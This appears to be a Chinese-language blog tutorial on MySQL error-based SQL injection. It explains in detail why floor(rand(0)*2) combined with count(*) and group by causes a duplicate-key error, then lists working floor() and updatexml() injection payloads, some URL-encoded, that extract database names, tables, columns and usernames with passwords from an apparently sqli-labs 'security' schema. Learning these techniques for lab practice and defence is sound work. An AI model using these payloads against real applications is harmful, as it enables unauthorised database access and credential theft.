【sql】Mysql報錯注入之count 、group by 、floor、rand函數注入

1.floor函數

學習中遇見了 select count() from table group by floor(rand(0)2); 這麼條語句。

秉持着不求甚解的態度,在此做個總結。

首先,只要該語句明白了,那麼類似 

select count(),(floor(rand(0)2))x from table group by x; 

這樣的變形語句基本上都可以變通(這裏只是起了個別名)。

基本的查詢 select 自不必多說,剩下的幾個關鍵字有 count 、group by 、floor、rand。

rand(0)*2

rand() 可以產生一個在0和1之間的隨機數。

可見,每次產生的都不一樣。當我們提供一個種子參數 0 後,再次查看:

可以發現,每次產生的值都是一樣的。也可以稱之爲僞隨機(產生的數據都是可預知的)。

查看多個數據看一下。( test 是我之前創建的一個擁有9條數據的表)

發現第一條數據與剛纔查看的單個數據相符合,其它的數據也完全一樣。爲什麼要乘以 2 呢?

這就要配合 floor 函數來說了。

floor(rand(0)*2)

floor() 返回小於等於該值的最大整數。

之前我們瞭解到,rand() 是返回 0 到 1 之間的隨機數,那麼乘 2 後自然是返回 0

到 2 之間的隨機數,再配合 floor() 就可以產生確定的兩個數了。

也就是 0 和 1。

爲什麼需要這兩個數呢?

group by 與 count(*)

group by 主要用來對數據進行分組(相同的分爲一組),這裏與count() 結合使

用。舉個例子就一目瞭然了。

可以觀察到,這裏對重複性數據進行了整合,然後計數。

重點來了,也就是在這個整合然後計數的過程中,中間發生了什麼我們是必須要明

白的。

經過網上查詢,發現mysql遇到該語句時會建立一個虛擬表。該虛擬表有兩個字

段,一個是分組的 key ,一個是計數值 count()。也就對應於上個截圖中的 

prod_price 和 count()。

然後在查詢數據的時候,首先查看該虛擬表中是否存在該分組,如果存在那麼計數值加1,不存在則新建該分組。

先來解釋一下count(*)與group by是如何共同工作的。首先,系統會建立一個虛擬表:

假設有表:

執行count(*) from ... group by age的過程中,會形成這樣的虛擬表:

它是如何一步步形成這張表的呢?

由於group by的是age,第一次讀取的就是18,在虛擬表中尋找是否已經存在

18,由於表是空的,直接插入一條新數據,這時虛擬表變成這樣:

繼續。下一個是19,由於虛擬表中依舊沒有key爲19的字段,故插入。

再下一個是20,繼續插入。再下一個又是20。由於已經有了20,故將key爲20的

字段的count(*)的值加1,變爲了2。

剩下的以此類推,最後形成了這個虛擬表:

好了,現在group by原理講完了。那究竟是如何將其與floor聯合起來,進行floor

報錯呢?先來回顧一下

payload:

select count(*), floor(rand(0)*2) as a from information_schema.tables group by a;

總體是一個group by語句,只不過這裏group by的是floor(rand(0)2)。

這是一個表達式,每次運算的值都是隨機的。還記得我剛剛說的floor(rand(0)2)的

值序列開頭是011011...吧?

ok,下面開始運算。首先,建立一張虛擬表:

接着,進行group by floor(rand(0)2)。

floor表達式第一次運算的值爲0,在表中沒有找到key爲0的數據,故插入,在插入

的過程中需要再取一次group by後面的值(即再進行一次floor運算,結果爲

1),取到了1,將之插入,並將count()置1。

繼續,再進行group by floor(rand(0)2)。

進行floor表達式運算,由於這是第三次運算了,故值爲1。

剛好表中有了key爲1的數據,故直接將其對應的count()加1即可。

繼續進行group by。

這是第四次floor運算了,根據剛剛那個011011序列,這次的值爲0,在表中找是

否有key爲0的數據。

當然沒有,故應當插入一條新記錄。

在插入時進行floor運算(就像第一次group by那樣),這時的值爲1,並將count(*)

置1。

可是你會說,虛擬表中已經有了key爲1的數據了啊。

對,這就是問題所在了。此時就會拋出主鍵冗餘的異常,也就是所謂的floor報錯。

利用:

select count(*), concat((select database()), '-', floor(rand(0)*2)) as a from information_schema.tables group by a; #將select database()換成你想要的東西!~

報錯分析

rand()的特殊性

select count(*) from test group by floor(rand(0)*2);

而又因爲 rand 函數的特殊性(如果使用rand()的話,該值會被計算多次)。

在這裏的意思就是,group by 進行分組時,floor(rand(0)2) 執行一次(查看分組

是否存在),如果虛擬表中不存在該分組,那麼在插入新分組的時候 

floor(rand(0)2) 就又計算了一次。

其實在上述 rand(0) 產生多個數據的時候,也能觀察出來。只要 rand(0) 被調

用,一定會產生新值

這樣,所有的理論細節就全部明朗了。

報錯

還記得我們之前產生的疑問,爲什麼要用 floor(rand(0)*2) 產生 0 和 1 這兩個數嗎?

當 group by 對其進行分組的時候,首先遇到第一個值 0 ,發現 0 不存在,於是

需要插入分組,就在這時,floor(rand(0)*2)再次被觸發,生成第二個值 1 ,因此

最終插入虛擬表的也就是第二個值 1* ;然後遇到第三個值 1 ,因爲已經存在分組 

1 了,就直接計數加1(這時1的計數變爲2);遇到第四個值 0 的時候,發現 0 不

存在,於是又需要插入新分組,然後floor(rand(0)2)又被觸發,生成第五個值 1 

,因此這時還是往虛擬表裏插入分組 1 ,**但是,分組 1 已經存在了!

所以報錯!

floor(rand(0)*2 的作用就是產生預知的數字序列01101,然後再利用 rand() 的特

殊性和 group by 的虛擬表,最終引起了報錯。

利用floor()報錯:

注入公式(Payload爲自己想獲取內容的腳本):

and(select 1 from (select count(*),concat(concat(payload),floor(rand(0)*2))x from information_schema.tables group by x)y)

and(select 1 from (select count(*),concat(concat(database(),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)

//暴庫

and(select 1 from (select count(*),concat(concat((select concat(table_name) from information_schema.tables where table_schema="security" limit 3,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)

//查詢表

and(select 1 from (select count(*),concat(concat((select concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)

//查詢字段

and(select 1 from (select count(*),concat(concat((select concat(username,0x7e,password,0x7e) from security.users limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)

//查詢字段內容

2.xpath函數:

主要的兩個函數:

Mysql5.1.5

  • updatexml():對xml進行查詢和修改

  • extractvalue():對xml進行查詢和修改

都是最大爆32位。提示輸出信息超過一行,說明這裏數據庫名組成的字符串長度

超過了64位(groupconcat()函數最大長度爲64位),所以需要放棄groupconcat()

函數,而使用limit 0,1來一個個輸出。

limit 0,1 表示輸出第一個數據。0表示輸出的起始位置,1表示跨度爲1(即輸出幾

個數據,1表示輸出一個,2就表示輸出兩個)

and updatexml(1,concat(0x7e,(payload),0x7e))

and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
//查詢當前用戶名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
//查詢當前數據庫名
 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
//查詢所有的數據庫名稱
 id=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e),1)%23
//查詢表名
 id=1%27%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x7e),1)%23
 //查詢表下的字段
and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from security.users limit 0,1),0x7e),1)
//爆出具體的字段內容。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章